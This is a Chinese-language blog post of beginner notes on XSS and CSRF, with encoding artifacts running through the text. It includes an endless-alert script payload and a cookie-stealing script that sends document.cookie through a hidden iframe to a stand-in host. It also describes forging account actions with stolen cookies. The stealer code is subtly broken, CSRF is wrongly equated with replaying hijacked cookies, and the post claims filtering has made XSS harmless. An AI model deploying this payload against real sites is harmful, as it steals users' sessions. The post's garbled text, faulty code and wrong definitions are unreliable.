最近發(fā)現(xiàn)自己對(duì)網(wǎng)絡(luò)安全這一塊比較空白.
僅僅只是知道有一個(gè) XSS (Cross-site script).也知道大體是怎么回事,但是從來(lái)沒(méi)有寫過(guò)代碼測(cè)試和練習(xí).
今天有空,就專門研究一下 XSS 和 CSRF
XSS
XSS 是 Cross-site script 縮寫.
中文釋義: 跨站腳本攻擊.
基維百科:
XSS: 跨站腳本(Cross-site script)是一中網(wǎng)站應(yīng)用程序的安全漏洞,是代碼注入的一種.它允許惡意用戶將代碼注入到網(wǎng)站上,讓其它正在觀察網(wǎng)頁(yè)時(shí)的用戶受到影響.
理解起來(lái)也簡(jiǎn)單,無(wú)非就是在某個(gè)網(wǎng)站的某個(gè)請(qǐng)求里,提交一段 Javascript
代碼而已.
現(xiàn)在很多網(wǎng)站后天都作了過(guò)濾,比如
<
,script
等危險(xiǎn)關(guān)鍵字.
基本會(huì)在出現(xiàn)這樣的情況了.
但是如果后臺(tái)沒(méi)有做這種危險(xiǎn)的字符過(guò)率,一段很簡(jiǎn)單的XSS跨站腳本代碼,<甚至都不用不跨站>,就可以支配所有訪問(wèn)這個(gè)頁(yè)面的用戶.
<script>while(true) { alert('被彈窗的恐懼支配吧??你關(guān)不掉der~') }</script>
XSS 既然翻譯成 跨站腳本攻擊..
上述那個(gè)代碼只是循環(huán)彈窗而已,并未涉及到跨站.
所以不能算是完整的XSS攻擊.頂多叫腳本攻擊
所以,必須有跨站的操作,才能稱為完整的XSS.
現(xiàn)在的網(wǎng)站中,或多或少的會(huì)把一些和用戶相關(guān)的數(shù)據(jù)通過(guò)cookie傳遞到前臺(tái).
// 通過(guò)XSS把這么一段代碼設(shè)置到網(wǎng)站頁(yè)面中.
(function(w,d){
// 獲取當(dāng)前頁(yè)面的cookie.
const cookie = d.cookie
const fromURL = w.host
const stealURL = `http://www.a.com/steal?from=${fromURL}&cookie=${cookie}`
const hiddenIframe = document.createElement('iframe')
hiddenIframe.width = '0px'
hiddenIframe.height = '0px'
hiddenIframe.src = stealURL
d.appendChild(hiddenIframe)
})(window,document)
通過(guò)這么一端腳本代碼,可以將當(dāng)前頁(yè)面的cookie等信息發(fā)送到我自己的后臺(tái).
那么在我自己的后臺(tái)就可以存儲(chǔ)用戶的一些比較私密的數(shù)據(jù)了.
這里有:
- 腳本
- 跨站
所以,可以稱之為一個(gè)完整的XSS(cross-site script) 跨站腳本攻擊.
但是目前基本所有的網(wǎng)站都做了危險(xiǎn)字符過(guò)濾或者替換.這種攻擊基本不會(huì)產(chǎn)生什么威脅了.
CSRF
CSRF 是 cross-site request forgery 的縮寫.
中文釋義: 跨站請(qǐng)求偽造.
基維百科:
跨站請(qǐng)求偽造(cross-site rquest forgery),也被稱之為 one-click attack 或者 session riding,通吃捍伲縮寫為 CSRF 或者 XSRF , 是一種挾制用戶在當(dāng)前已經(jīng)登錄的web頁(yè)面上執(zhí)行一些非本意的操作.
光看這單解釋,好像能理解的半成.
- 用戶要登錄.
- 利用用戶登陸的數(shù)據(jù)或者狀態(tài)做一些只有在當(dāng)前用戶登陸情況下的事情.比如刪帖.修改昵稱...
上一節(jié) XSS 攻擊,如果我們能拿到用戶的cookie等信息的話.
只要我們?cè)谧ト〈司W(wǎng)站的刪帖鏈接,修改昵稱鏈接.
查詢需要傳遞的給后臺(tái)的數(shù)據(jù),如果是包含這個(gè)cookie的話.
那我們就可以在我們后臺(tái)部署一套循環(huán)遍歷的請(qǐng)求了.
比如修改昵稱的鏈接和操作是: http://www.attacked.com/action/changeNickName?name=xxxxx
我們就可以在自己后臺(tái),請(qǐng)求里設(shè)置cookie.并請(qǐng)求這個(gè)鏈接,就可以修改用戶的昵稱了.
同理一些其他的操作.(比如刪帖等)
總結(jié):
- XSS 是跨站腳本攻擊. (Cross-site script) ,只有腳本只能叫腳本攻擊,必須有跨站的行為才能稱之跨站腳本攻擊.
- CSRF 跨站請(qǐng)求偽造(Cross-site request forgery),前提是拿到用戶的登陸信息.之后可以偽造當(dāng)前用戶做一些非用戶本意的操作.